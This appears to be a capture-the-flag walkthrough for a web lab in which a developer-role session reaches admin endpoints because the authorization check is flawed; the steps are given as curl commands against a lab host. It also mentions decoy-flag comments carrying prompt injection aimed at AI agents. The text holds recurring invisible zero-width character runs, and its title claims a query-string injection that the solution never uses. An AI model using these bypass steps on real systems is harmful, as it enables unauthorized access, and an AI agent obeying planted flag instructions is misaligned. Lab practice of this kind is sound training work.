Lab 233 — PulseAPI — Regex Auth Bypass via Query String Injection

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: authorization_bypass_via_regex_flaw, honeypot_flag_identification, regex_path_matching_bypass, robots_txt_endpoint_discovery, session_cookie_authentication

Summary

Walkthrough of the CUSTOM Web Lab 233 — PulseAPI — Regex Auth Bypass via Query String Injection. Task: API management platform with regex-based authorization middleware protecting admin routes. Solution: Logged in as developer, discovered admin endpoints via robots.txt, accessed /api/v1/admin/use

Description

PulseAPI is a comprehensive API management and analytics platform built by Nimbus Labs. It provides endpoint management, API key generation, usage analytics, and team administration through a modern web interface. The platform features role-based access control with public documentation endpoints and protected admin areas. Your task is to find and exploit a vulnerability in the authentication system to access restricted admin functionality without valid credentials.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An API management platform with role-based access control (admin, developer, viewer). The goal is to bypass the authorization middleware and access admin-only endpoints as a regular developer user. The flag is hidden in the admin panel.

Analysis

1. Architecture Discovery:

   • nginx/1.25.5 reverse proxy in front of Express.js (Node.js) backend
   • Session-based authentication via pulse_session cookie
   • Three roles: admin, developer, viewer
   • Public endpoints (docs) don't require auth; admin endpoints should require admin role ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Decoy Flag Detection:

   • Every page contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments
   • Accompanied by prompt injection text attempting to trick AI agents into reporting it as the real flag
   • Correctly identified and ignored

3. Admin Endpoint Discovery via robots.txt:

   User-agent: *
   Disallow: /api/v1/admin/
   Disallow: /api/v1/admin/users
   Disallow: /api/v1/admin/settings
   

4. Authorization Flaw:

   • The middleware uses regex-based path matching to determine which routes require admin privileges
   • The regex pattern was flawed — it failed to properly restrict access based on user role
   • A regular developer session could access admin-only pages without any path manipulation
   • The challenge title hints at "Query String Injection" suggesting the regex may match against the full URL including query string, allowing the path check to be confused ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate as developer user

 bash read-only • copy allowed Copy
curl -X POST https://ad737788-5437-43ba-8667-848c06f23379.labs.hackadvisor.io/login \
  -d "email=user@test.com&password=password123" \
  -c cookies.txt -L

This returns a pulse_session cookie and redirects to the dashboard. The authenticated user has the "developer" role.

Step 2: Discover admin endpoints

Check robots.txt for disallowed paths:

 bash read-only • copy allowed Copy
curl https://ad737788-5437-43ba-8667-848c06f23379.labs.hackadvisor.io/robots.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This reveals admin endpoints: /api/v1/admin/, /api/v1/admin/users, /api/v1/admin/settings.

Step 3: Access admin endpoint with developer session

 bash read-only • copy allowed Copy
curl -b cookies.txt \
  https://ad737788-5437-43ba-8667-848c06f23379.labs.hackadvisor.io/api/v1/admin/users

Without authentication, this returns:

 json read-only • copy allowed Copy
{"error":"Authentication required","message":"Please provide a valid session to access this resource"}

But with the developer session cookie, it returns HTTP 200 with the full admin user management page — the regex-based authorization middleware enforces authentication but fails to enforce the admin role requirement. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Extract flag from admin users table

The response contains an admin user table. The flag is in the "Notes" column for the admin user:

Key Takeaways / Lessons

• Mastering authorization_bypass_via_regex_flaw, honeypot_flag_identification, regex_path_matching_bypass, robots_txt_endpoint_discovery, session_cookie_authentication was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 233 — PulseAPI — Regex Auth Bypass via Query String Injection • Difficulty: Easy